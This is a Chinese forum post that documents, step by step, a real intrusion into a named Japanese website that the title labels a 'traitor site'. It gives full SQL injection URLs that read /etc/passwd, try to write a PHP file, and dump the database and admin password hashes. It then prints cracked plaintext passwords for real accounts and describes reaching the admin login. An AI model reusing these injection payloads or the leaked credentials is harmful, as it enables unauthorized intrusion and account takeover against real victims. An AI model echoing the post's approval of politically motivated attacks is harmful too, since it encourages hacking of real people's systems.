原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

. x* `1 ~0 J$ a6 e; r
* S8 W! [6 z$ B' [  C# n7 V0x01. 检测 www.zuaa.jp 收集数据


+ U5 ]5 i6 o1 `3 @( g& Zwhatweb


利用NMAP扫描

8 d# u) k* ~9 x0 b" G; Q. S% G中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
% R& C8 a1 F: G0 H/ {5 k0x02.找注入点
0 f$ q$ D4 `- K) i9 t. n3 `找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
1 C& o  p$ `2 r" Y" k# |$ K6 B2 t
( i1 h$ F. z; v' U: ]
7 P5 @" e/ G& b6 ~9 Y% Q0x03.order by
3 f- K: j; _1 U2 w0 J# I* E& u5 |             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

! e/ l* g# T6 Qorder by 28报错，order by 27正常

  F& h0 W' H" m" c  |4 {  t0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示
: Z. x2 ^9 }7 x4 i( S
* H  G; W( J( V0 B$ O# \/ g中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

- J! P% F7 x& }: z3 e/ E0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

0 c7 a$ e( g% b  Huser:            root@localhost
- ?* w; r4 S( Z7 M- @: Tdatabase:    openpne
version:      4.1.22
os:             portbld-freebsd5.4

0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

, o) b: e: l( t, A5 D通过工具转换
# m( i; J, s) X2 y
0 ^+ }  T8 Z$ n中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
6 ~* a% }) ]5 D7 P9 |/ M/ n4 i: h全部都失败
/ Z2 Q  P6 |3 rhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

' ^! I9 c' K6 D7 Z2 Ahttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

9 H  |$ C( |& h7 `页面显示“MDB2 Error:syntax error”
  f  o& L9 y$ Z8 @
  L) V$ S6 V# [0x08. 利用 mysql 4.1
, c3 T9 i' e- Y$ l猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
- X& G. U7 ], V2 @
  J7 a2 u6 Q: a$ P* @

0x09. 查找后台
: F0 z! ]  C7 T1 R" x4 c利用 现有的各种 后台工具尝试都不行
& x3 s+ l, {7 o. \4 {7 r2 J/ {
" U8 E; L. x2 v* q& A! B8 c; m0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
3 O" p: ]0 n0 c9 ?4 Ehttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
- }9 U- ~, R$ O2 X: r  D/ ?! i) r
5 h% k9 t! v$ d* W$ Z, g这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
# x9 B/ Q! j6 q7 p8 c" dopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
  \9 d; c+ U, D, j2 {5 ^3 nzuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知

& L# ?; m8 r- j4 I* E
0x11. 网站突破
/ ?' {) d* D: X1 Q/ a/ t发现网站的源程序 openpne, google 下载 openpne 源码

( k$ z) L1 i: [- m
0x12. 默认信息利用
$ ?8 O* @) G4 {$ Z4 G" Ihttp://sns.zuaa.jp/?m=admin&a=page_login
  q% w3 }1 y5 t5 i- L! m2 z
1 X4 p5 v) j6 f3 q# D5 ~' Q表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

3 m" T+ `/ J4 g% P* ^$ t解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
zuaajp:c0923ec5857796a393da99905008c176,          zju1897

; M- s  b$ V' D- L, l. ]. n& L5 W中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

4 P( H5 w! J: A0x13. 登录后台
& a8 t6 c0 I' H' g6 `. \
+ m2 N, v& p; [5 n$ |# Z% L5 d

, t" k' w( L$ r# ~. Q# q0x14. 小结
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
/ m; v! T0 ^& J3 ^& A9 r. s" a! \感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
2 A5 x. Q( c3 `; ]5 a中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
3 e1 R' N) e4 [5 C* ]
( O7 B9 g1 Q) |最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
: }" G+ m* S5 L& b. u

荒村狂客

哪个牛人 费的这劲 入侵的